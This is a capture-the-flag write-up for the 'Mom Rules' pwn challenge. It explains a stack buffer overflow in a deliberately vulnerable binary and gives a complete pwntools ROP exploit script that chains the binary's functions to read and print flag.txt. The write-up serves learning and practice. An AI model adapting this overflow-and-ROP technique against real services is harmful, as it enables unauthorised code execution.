Post

Ramadan CTF 2026 - Mom Rules

Ramadan CTF 2026 - Mom Rules

[ Mom Rules ] Writeup

Category: Pwn (Buffer Overflow + ROP)
Difficulty: Easy-Medium
Author: 4n7h4r4x

challenge

Access all challenges here:
GitHub Repository

Tools Used

  • ghidra / gdb / objdump for reverse engineering
  • ropper for finding gadgets
  • python3 (pwntools) for exploit scripting

Overview

Before the family gathers for iftar, your mom asks you to do 3 tasks in the right order. But wait – the program tells you the wrong order! You need to figure out the correct sequence using ROP to earn your mom’s reward (the flag).


Initial Recon

Running file and checksec:

file and checksec

The binary is non-PIE, 64-bit, and not stripped – all symbol names are visible. No canary, so we can overflow freely.


Reverse Engineering

ghidra functions ghidra functions ghidra functions ghidra functions ghidra functions ghidra functions ghidra functions

The binary has these key functions:

  • chall() – Prints a story about mom’s 3 tasks, then reads 0x1000 bytes into a 0x40-byte buffer. Massive overflow!
  • clean_room(rdi, rsi, rdx) – Computes fd = (rdi - rsi) * rdx and stores it in the global fd variable. Prints “Im gonna try to clean my room”.
  • wash_hands(rdi, rsi) – Computes rdi % rsi (remainder), so we need the send a value in both rdi and rsi where we want to be the result of rdi%rsi = number which needs to be 0 so it opens successfully its not directly easy to notice this in ghidra so we can always go to the assembly instructions and verify ! , then calls open("flag.txt", number, 0) and stores the returned file descriptor in fd. Prints “Now im gonna wash my hands”.
  • prepare_table(rdi) – Calls read(fd, reward, rdi) which reads from the opened file descriptor into the global reward buffer. Prints “Last thing i need to help my mom preparing the table”.

ghidra functions

  • mom_reward() – Prints the contents of the reward buffer (the flag!).
  • pop_gadgets() – A convenient function containing pop rcx; ret, pop rdx; ret, pop rsi; ret, pop rdi; ret, pop r10; ret gadgets.

The program lies about the task order! It says: “1- prepare table, 2- wash hands, 3- clean my room”. But the correct order is determined by the data flow:

  1. clean_room – Sets up the fd global (computes a value from its arguments)
  2. wash_hands – Opens flag.txt using the number global, stores the real fd
  3. prepare_table – Reads from that fd into the reward buffer
  4. mom_reward – Prints the flag

Exploitation Plan

The overflow in chall() gives us full RIP control. We need to build a ROP chain that calls the functions in the correct order with the right arguments.

The challenge kindly provides pop_gadgets() with all the pop gadgets we need:

gadgets

1
2
3
4
0x40116a: pop rcx; ret
0x40116c: pop rdx; ret
0x40116e: pop rsi; ret
0x401170: pop rdi; ret

Working Out the Arguments

  • clean_room(rdi, rsi, rdx): stores (rdi - rsi) * rdx into fd. We need this to produce a valid value for open() later. Since wash_hands will overwrite fd with the actual file descriptor from open(), the exact value here doesn’t matter much – we just need clean_room to not crash.
  • wash_hands(rdi, rsi): calls open("flag.txt", number, 0). The number global is set based on rdi % rsi. We need flags = 0 (O_RDONLY). The simplest approach: set arguments so the division works cleanly.
  • prepare_table(rdi): calls read(fd, reward, rdi). We set rdi to a reasonable size like 0x40 (64 bytes) to read the flag.

Tip: The buffer is 0x40 bytes and there’s a saved RBP, so the offset to RIP is 0x40 + 0x8 = 0x48 bytes.


Solution

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *

context.binary = elf = ELF("./mom_rules", checksec=False)

p = elf.process()
# p = remote("tcp.espark.tn" , 1100)

pop_rdi = p64(0x401170)
pop_rsi = p64(0x40116e)
pop_rdx = p64(0x40116c)
ret = p64(0x401016)

clean_room    = p64(elf.sym.clean_room)
wash_hands    = p64(elf.sym.wash_hands)
prepare_table = p64(elf.sym.prepare_table)
mom_reward    = p64(elf.sym.mom_reward)

# Offset to RIP: 0x40 (buffer) + 0x8 (saved rbp)
offset = 0x48

pay = b"A" * offset

# Step 1: clean_room(1, 1, 1) -> fd = (1-1)*1 = 0
pay += pop_rdi + p64(1) + pop_rsi + p64(1) + pop_rdx + p64(1) + clean_room

# Step 2: wash_hands(1, 1) -> opens flag.txt with O_RDONLY, stores fd
pay += pop_rdi + p64(1) + pop_rsi + p64(1) + wash_hands

# Step 3: prepare_table(0x40) -> read(fd, reward, 0x40)
pay += pop_rdi + p64(0x40) + prepare_table

# Step 4: mom_reward() -> prints the flag
pay += ret + mom_reward

p.recvuntil(b":(")
p.sendline(pay)

p.interactive()

flag


Key Takeaways

  • Don’t trust the program’s instructions! The binary deliberately tells you the wrong order. Always reverse engineer the actual logic.
  • ROP chains let you call existing functions in any order with controlled arguments, even without shellcode.
  • When a binary provides a pop_gadgets() function, it’s a clear hint that you’re expected to use ROP.
  • Data flow analysis is key: trace how global variables (fd, reward, number) flow between functions to determine the correct call order.

Helpful Resources

Thanks for reading!

This post is licensed under CC BY 4.0 by the author.